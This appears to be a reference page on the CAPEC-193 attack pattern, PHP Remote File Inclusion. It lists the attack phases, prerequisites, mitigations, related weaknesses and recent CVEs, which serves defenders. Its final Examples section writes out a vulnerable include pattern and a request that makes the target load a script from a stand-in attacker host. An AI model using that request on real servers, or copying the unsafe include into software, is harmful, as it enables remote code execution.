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CAPEC-193

PHP Remote File Inclusion

High severityHigh likelihoodDetailed pattern

In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.

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Show the promptExplain the attack pattern CAPEC-193: PHP Remote File Inclusion: how it unfolds, what it needs and how to prevent and detect it in my systems. Use https://capec.mitre.org/data/definitions/193.html and https://cve.bz/cve/capec/193?via=ask-ai-copy, which lists recent CVEs with the weaknesses it exploits. Cite the sources.

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How the attack unfolds

  1. Explore

    The attacker looks for a way in.

    1. [Survey application] Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find.

      3 techniques
      • Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
      • Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
      • Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

  2. Experiment

    They probe what they found.

    1. [Attempt variations on input parameters] The attack variants make use of a remotely available PHP script that generates a uniquely identifiable output when executed on the target application server. Possibly using an automated tool, an adversary requests variations on the inputs they surveyed before. They send parameters that include variations of payloads which include a reference to the remote PHP script. They record all the responses from the server that include the output of the execution of remote PHP script.

      2 techniques
      • Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of PHP remote file inclusion payloads which include a reference to the adversary controlled remote PHP script.
      • Use a proxy tool to record results of manual input of remote file inclusion probes in known URLs.

  3. Exploit

    They carry out the attack.

    1. [Run arbitrary server-side code] As the adversary succeeds in exploiting the vulnerability, they are able to execute server-side code within the application. The malicious code has virtual access to the same resources as the targeted application. Note that the adversary might include shell code in their script and execute commands on the server under the same privileges as the PHP runtime is running with.

      1 technique
      • Develop malicious PHP script that is injected through vectors identified during the Experiment Phase and executed by the application server to execute a custom PHP script.

Prerequisites

  • Target application server must allow remote files to be included in the "require", "include", etc. PHP directives

  • The adversary must have the ability to make HTTP requests to the target web application.

Skills required

  • Low skill

    To inject the malicious payload in a web page

  • Medium skill

    To bypass filters in the application

Resources required

  • None: No specialized resources are required to execute this type of attack.

Consequences

What a successful attack can lead to
ImpactAffectsNote
Modify DataIntegrity
Read DataConfidentiality
Execute Unauthorized CommandsAuthorizationRun Arbitrary Code
Gain PrivilegesAccountability, Authentication, Authorization, Non-Repudiation
Bypass Protection MechanismAccess Control, Authorization

Mitigations

  • Implementation: Perform input validation for all remote content, including remote and user-generated content

  • Implementation: Only allow known files to be included (allowlist)

  • Implementation: Make use of indirect references passed in URL parameters instead of file names

  • Configuration: Ensure that remote scripts cannot be include in the "include" or "require" PHP directives

Weaknesses it exploits

  • CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page
  • CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program

Recent CVEs with these weaknesses

  1. 6.5CVE-2026-119503

    Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Welcart Welcart e-Commerce usc-e-shop allows Code Injection.This issue affects Welcart e-Commerce: from n/a through 2.12.6.

  2. 5.3CVE-2026-123860

    Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Crocoblock JetFormBuilder jetformbuilder allows Code Injection.This issue affects JetFormBuilder: from n/a through 3.6.8.

  3. 5.3CVE-2026-123483

    Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Crocoblock JetFormBuilder jetformbuilder allows Code Injection.This issue affects JetFormBuilder: from n/a through 3.6.8.

  4. 5.3CVE-2026-123183

    Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in PluginUs.Net Active Products Tables for WooCommerce profit-products-tables-for-woocommerce allows Code Injection.This issue affects Active Produ…

  5. 5.3CVE-2026-121777

    Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Cool Plugins Cool Formkit Lite extensions-for-elementor-form allows Code Injection.This issue affects Cool Formkit Lite: from n/a through 2.7.10.

  6. 8.8CVE-2026-120841

    Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Magepeople inc. WpTravelly tour-booking-manager allows PHP Local File Inclusion.This issue affects WpTravelly: from n/…

  7. 8.8CVE-2026-120839

    Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Magepeople inc. WpTravelly tour-booking-manager allows PHP Local File Inclusion.This issue affects WpTravelly: from n/…

  8. 5.3CVE-2026-119496

    Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Code Injection.This issue affects Media LIbrary Assistant: from n/a through…

The newest records naming one of them. Each weakness's page lists them all.

Part of

Examples

The adversary controls a PHP script on a server "http://attacker.com/rfi.txt"
  • The adversary controls a PHP script on a server "http://attacker.com/rfi.txt"
  • The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt')
  • The adversary creates an HTTP request that passes their own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the ".txt" prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.

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